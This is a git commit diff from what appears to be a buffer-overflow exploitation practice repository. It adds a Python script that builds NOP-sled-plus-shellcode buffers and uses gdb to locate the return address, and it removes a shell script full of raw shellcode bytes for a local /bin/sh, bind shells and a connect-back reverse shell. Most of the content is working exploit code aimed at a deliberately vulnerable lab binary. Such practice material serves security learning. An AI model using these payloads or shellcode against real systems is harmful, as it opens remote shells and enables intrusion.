diff options
author | Toni Uhlig <matzeton@googlemail.com> | 2021-02-12 03:02:32 +0100 |
---|---|---|
committer | Toni Uhlig <matzeton@googlemail.com> | 2021-02-12 03:34:35 +0100 |
commit | e3ca65c5002ae165ab54178a9c15e41222c4d64f (patch) | |
tree | f7c4cafdff8b593dd9a7fe09aed31d620eb4684c | |
parent | 9b466b6a81149e0f6aa80b4d27f403753a9b1f8c (diff) |
Demolished ugly and bloated exploit.sh, hail to the new exploit.py.
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
-rw-r--r-- | Makefile | 4 | ||||
-rw-r--r-- | dump32.gdb | 4 | ||||
-rwxr-xr-x | exploit.py | 83 | ||||
-rwxr-xr-x | exploit.sh | 100 | ||||
-rw-r--r-- | return-to-lib.c | 5 | ||||
-rw-r--r-- | sc-test.c | 4 | ||||
-rw-r--r-- | shellcode/connect.asm | 1 | ||||
-rw-r--r-- | shellcode/socket.asm | 1 |
8 files changed, 94 insertions, 108 deletions
@@ -27,8 +27,8 @@ OCFLAGS := -fno-stack-protector -fno-pie -ggdb -static ifeq ($(BUILD_MINGW32),) OCFLAGS += -zexecstack -znorelro endif -X86_FLAGS = -m32 -mpreferred-stack-boundary=2 -X64_FLAGS = -m64 -mpreferred-stack-boundary=4 +X86_FLAGS = -m32 +X64_FLAGS = -m64 SOURCES = $(wildcard *.c) TARGETS = $(patsubst %.c,%,$(SOURCES)) @@ -1,3 +1,3 @@ +b overflow r -i r -x/300xw $esp-0x300 +p (void *) buf diff --git a/exploit.py b/exploit.py new file mode 100755 index 0000000..7b285bd --- /dev/null +++ b/exploit.py @@ -0,0 +1,83 @@ +#!/usr/bin/env python3 + +from subprocess import Popen, PIPE +import sys +from os import chdir +from os.path import dirname +import re + +MYDIR = dirname(__file__) +print('Changed directory to: {}'.format(MYDIR)) +chdir(MYDIR) + +OVERFLOW_C_BUFFER_SIZE = int(300) +OVERFLOW_C_PADDING = 12 + +def get_address_of_buf(remaining_stack_frame_size, trailer_length): + cmd = ['gdb', '-n', '--batch', '--command=' + './dump32.gdb', '--args', './overflow', + 'A' * (remaining_stack_frame_size + trailer_length)] + print('Command: {}'.format(' '.join(cmd))) + p = Popen(cmd, stdin=None, stdout=PIPE, stderr=PIPE) + output, err = p.communicate(None) + rc = p.returncode + addr = None + + if len(err) != 0 or len(output) == 0: + return (rc, addr) + + output_str = output.decode() + p = re.compile('.*(0x[0-9a-f]+)$') + for line in output_str.split('\n'): + #print('--- ' + str(line)) + m = p.match(line) + if m is not None and len(m.groups()) == 1: + addr = int(m.groups()[0], 16) + break + + return (rc, addr) + +def run_exploit(new_return_addr, overflow_arg1, optional_addr_offset=0): + arg1 = bytes(overflow_arg1) + \ + (new_return_addr + optional_addr_offset).to_bytes(4, 'little') + print('Total Exploit Buffer Length: {}'.format(len(arg1))) + + exploit_buffer_filename = sys.argv[1] + '.bin' + print('Saving Exploit Buffer to: {}'.format(exploit_buffer_filename)) + with open(exploit_buffer_filename, mode='w+b') as f: + if f.write(arg1) != len(arg1): + raise RuntimeError('Could not write exploit buffer.') + + #cmd = ['gdb', '--args', './overflow', arg1] + cmd = ['./overflow', arg1] + p = Popen(cmd, stdin=sys.stdin, stdout=sys.stdout, stderr=sys.stderr) + p.communicate(None) + return p.returncode + +def create_exploit_buffer(remaining_stack_frame_size, shellcode_buffer, trailer=bytearray()): + shellcode_length = len(shellcode_buffer) + buf = bytearray([0x90] * (remaining_stack_frame_size - + shellcode_length)) + buf += shellcode_buffer + buf += trailer + return (buf, int((remaining_stack_frame_size - shellcode_length) / 2)) + +if __name__ == '__main__': + if len(sys.argv) != 2: + print('usage: {} [shellcode.o]'.format(sys.argv[0])) + sys.exit(1) + + with open(sys.argv[1], mode='rb') as f: + shellcode_buffer = f.read() + + exploit_buffer, optional_destination_offset = \ + create_exploit_buffer(OVERFLOW_C_BUFFER_SIZE, + shellcode_buffer, + bytearray([0x41] * OVERFLOW_C_PADDING)) + + new_return_addr_tuple = get_address_of_buf(OVERFLOW_C_BUFFER_SIZE, OVERFLOW_C_PADDING) + if new_return_addr_tuple[0] != 0 or new_return_addr_tuple[1] is None: + sys.exit(1) + + print('Return Address: {}'.format(hex(new_return_addr_tuple[1]))) + ret = run_exploit(new_return_addr_tuple[1], exploit_buffer, optional_destination_offset) + print('Exit Code: {}'.format(ret)) diff --git a/exploit.sh b/exploit.sh deleted file mode 100755 index 643fa50..0000000 --- a/exploit.sh +++ /dev/null @@ -1,100 +0,0 @@ -#!/bin/sh - -# generate shellcode with metasploit (exec /bin/sh): -# ./msfpayload linux/x86/exec cmd=/bin/sh R | ./msfencode -b '\x00\x09\x0a\x0d\x1b\x20' -# uses (currently) only self-written shellcode .. - - -DIR="$(dirname $0)" - -find_return_adr32() { - if [ -z "$1" -o -z "$2" -o -z "$3" ]; then - return 1 - fi - ret=$(gdb -batch -x "${DIR}/dump32.gdb" --args $1 $2) - adr=$(echo "${ret}" | sed -n 's/\(.*\):\s\+0x90909090\s\+0x90909090\s\+0x90909090\s\+0x90909090/\1/p' | sort) - if [ $? -ne 0 ]; then - echo "$0: no adr found: ${adr}" - return 1 - fi - chs=$(echo ${adr} | cut -d ' ' -f $3) - if [ $? -ne 0 ]; then - echo "$0: check adr index: $3" - return 1 - fi - echo $(echo "${chs}" | sed 's/0x\(.\{2\}\)\(.\{2\}\)\(.\{2\}\)\(.\{2\}\)/\\x\4\\x\3\\x\2\\x\1/') - return 0 -} - -find_return_adr64() { - if [ -z "$1" -o -z "$2" -o -z "$3" ]; then - return 1 - fi - ret=$(gdb -batch -x "${DIR}/dump64.gdb" --args $1 $2) - adr=$(echo "${ret}" | sed -n 's/\(.*\):\s\+0x90909090\s\+0x90909090\s\+0x90909090\s\+0x90909090/\1/p' | sort) - if [ $? -ne 0 ]; then - echo "$0: no adr found: ${adr}" - return 1 - fi - chs=$(echo ${adr} | cut -d ' ' -f $3) - if [ $? -ne 0 ]; then - echo "$0: check adr index: $3" - return 1 - fi -python2.7 - <<EOF -import struct, binascii -print repr(struct.pack('<Q', int('$chs',16)))[1:33] -EOF - return 0 -} - -if [ ! -f "${DIR}/overflow" -o ! -f "${DIR}/overflow_x64" ]; then - echo "$0: run make first!" - exit 1 -fi - -RETURN_ADR_OVERFLOW32=$(find_return_adr32 "${DIR}/overflow" "$(python2.7 -c 'print "\x90"*117 + "\x31\xc0\x31\xdb\x31\xc9\x99\xeb\x08\x5b\x88\x43\x07\xb0\x0b\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x90"*154')" 3) -RETURN_ADR_OVERFLOW64=$(find_return_adr64 "${DIR}/overflow_x64" "$(python2.7 -c 'print "\x90"*133 + "\xeb\x13\x48\x31\xc0\x5f\x88\x47\x07\x57\x48\x89\xe6\x50\x48\x89\xe2\xb0\x3b\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff" + "\x90"*153 + ""')" 3) - - -if [ -z "$1" ]; then - echo "$0 [local32|local64|bind32|bind64|connect32]" - exit 1 -fi - -if [ "$1" = "local32" ]; then - - # NOPsled(158) + shellcode(70) + NOPsled(117) + return_addr(4) - # uses own shellcode: shellcode/hello.asm (x86-nasm) - echo "$0: using return adr: ${RETURN_ADR_OVERFLOW32}" - gdb -ex r --args ./overflow $(python2.7 -c 'print "\x90"*158 + "\x31\xc0\x31\xdb\x31\xc9\x99\xeb\x08\x5b\x88\x43\x07\xb0\x0b\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x90"*117 +"'${RETURN_ADR_OVERFLOW32}'"') - -elif [ "$1" = "local64" ]; then - - # NOPsled(133) + shellcode(34) + NOPsled(145) + return_addr(8) - # uses own shellcode: shellcode/execve_x64.o - echo "$0: using return adr: ${RETURN_ADR_OVERFLOW64}" - gdb -ex r --args ./overflow_x64 $(python2.7 -c 'print "\x90"*133 + "\xeb\x13\x48\x31\xc0\x5f\x88\x47\x07\x57\x48\x89\xe6\x50\x48\x89\xe2\xb0\x3b\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xff" + "\x90"*145 + "'${RETURN_ADR_OVERFLOW64}'"') - -elif [ "$1" = "bind32" ]; then - - # 85xNOP + shellcode(134) + 85xNOP + return addr - # uses own shellcode: shellcode/socket.asm (x86-nasm) - ./overflow `python2.7 -c 'print "\x90"*85 + "\x31\xc0\x31\xdb\x50\xb3\x01\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x50\x66\x68\xaa\x11\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\x31\xdb\xb3\x02\xb0\x66\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb0\x66\x31\xdb\xb3\x04\xcd\x80\x31\xc0\x50\x66\x50\x66\x6a\x02\x89\xe1\x6a\x10\x54\x51\x52\x89\xe1\x31\xdb\xb3\x05\xb0\x66\xcd\x80\x31\xc9\xb1\x03\x89\xc3\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\xfe\xc1\xe2\xf4\x31\xc0\x31\xc9\x99\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x88\x44\x24\x08\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xb3\x42\xcd\x80" + "\x90"*85 + "\xc4\xf2\xff\xbf"'` - -elif [ "$1" = "bind64" ]; then - - # 100xNOP + shellcode(149) + 63xNOP + return addr - # uses own shellcode: shellcode/socket_x64.asm (x64-nasm) - ./overflow_x64 `python2.7 -c 'print "\x90"*100 + "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x40\xb7\x02\x40\xb6\x01\xb0\x29\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x66\x68\xaa\x11\x66\x6a\x02\x48\x89\xe6\xb2\x10\xb0\x31\x0f\x05\x48\x31\xc0\x48\x31\xf6\xb0\x32\x0f\x05\x48\x31\xc0\x50\x66\x68\xaa\x11\x66\x6a\x02\x48\x89\xe6\x6a\x10\x48\x89\xe2\xb0\x2b\x0f\x05\x48\x89\xc7\x48\x31\xd2\xb2\x03\x48\x89\xd6\x48\xff\xce\x48\x31\xc0\xb0\x21\x0f\x05\xfe\xca\x75\xef\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x31\xc0\x88\x44\x24\x08\x48\x89\xe7\x50\x48\x89\xe6\x50\x48\x89\xe2\xb0\x3b\x0f\x05\x48\x31\xc0\x48\x31\xff\x40\xb7\x42\xb0\x3c\x0f\x05" + "\x90"*63 + "\x02\xe7\xff\xff\xff\x7f"'` - -elif [ "$1" = "connect32" ]; then - - # 97 bytes NOP + 110 bytes shellcode + 97 bytes NOP + return addr - # uses own shellcode: shellcode/connect.asm (x86-nasm) - ./overflow `python2.7 -c 'print "\x90"*97 + "\x31\xc0\x31\xdb\x50\xb3\x01\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x68\x6e\x11\x11\x10\x81\x34\x24\x11\x11\x11\x11\x66\x68\x14\x28\x66\x81\x34\x24\x11\x11\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\xb1\x03\x89\xd3\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\xfe\xc1\xe2\xf4\x31\xc0\x31\xc9\x99\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x88\x44\x24\x08\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xb3\x42\xcd\x80" +"\x90"*97 + "\xc4\xf2\xff\xbf"'` - -else - $0 -fi - diff --git a/return-to-lib.c b/return-to-lib.c index 3f0acba..abbca05 100644 --- a/return-to-lib.c +++ b/return-to-lib.c @@ -40,9 +40,10 @@ int main(int argc, char ** argv) size_t * system_fn = (size_t *)0xDEADC0DE; char cmd_get_system_fn[BUFSIZ]; char path_to_overflow[BUFSIZ]; - char exploit_buffer[BUFLEN + 4 /* saved ebp (stack frame of the calling fn) */ + char exploit_buffer[BUFLEN + 4 /* first argument of function overflow() in overflow.c */ + 4 /* return address -> address of system() */ - + 4 + 4 /* first argument for system() */]; + + 4 /* saved ebp (stack frame of the calling fn) */ + + 4 /* first argument for system() */]; if (argc != 1) { @@ -37,7 +37,7 @@ barf(const char *msg) { int main(int argc, char **argv) { FILE *fp; - void *code; + unsigned char code[BUFSIZ]; size_t i; int arg, l, m = 15 /* max # of bytes to print on one line */; @@ -54,7 +54,7 @@ main(int argc, char **argv) { errno = 0; if (!S_ISREG(sbuf.st_mode)) barf(NULL); flen = (long) sbuf.st_size; - if (!(code = calloc(1, flen))) barf("failed to grab memory"); + if (flen > BUFSIZ) barf("file to big"); if (!(fp = fopen(argv[2], "rb"))) barf("failed to open file"); if (fread(code, 1, flen, fp) != flen) barf("failed to slurp file"); if (fclose(fp)) barf("failed to close file"); diff --git a/shellcode/connect.asm b/shellcode/connect.asm index fe5002a..955c405 100644 --- a/shellcode/connect.asm +++ b/shellcode/connect.asm @@ -1,6 +1,7 @@ BITS 32 +add esp,64 ; keep some bytes between code<->stack ; socket() xor eax,eax ; zero out eax xor ebx,ebx ; " " ebx diff --git a/shellcode/socket.asm b/shellcode/socket.asm index 156cced..3c9d2e9 100644 --- a/shellcode/socket.asm +++ b/shellcode/socket.asm @@ -1,6 +1,7 @@ BITS 32 +add esp,64 ; keep some bytes between code<->stack ; socket() xor eax,eax ; zero out eax xor ebx,ebx ; " " ebx |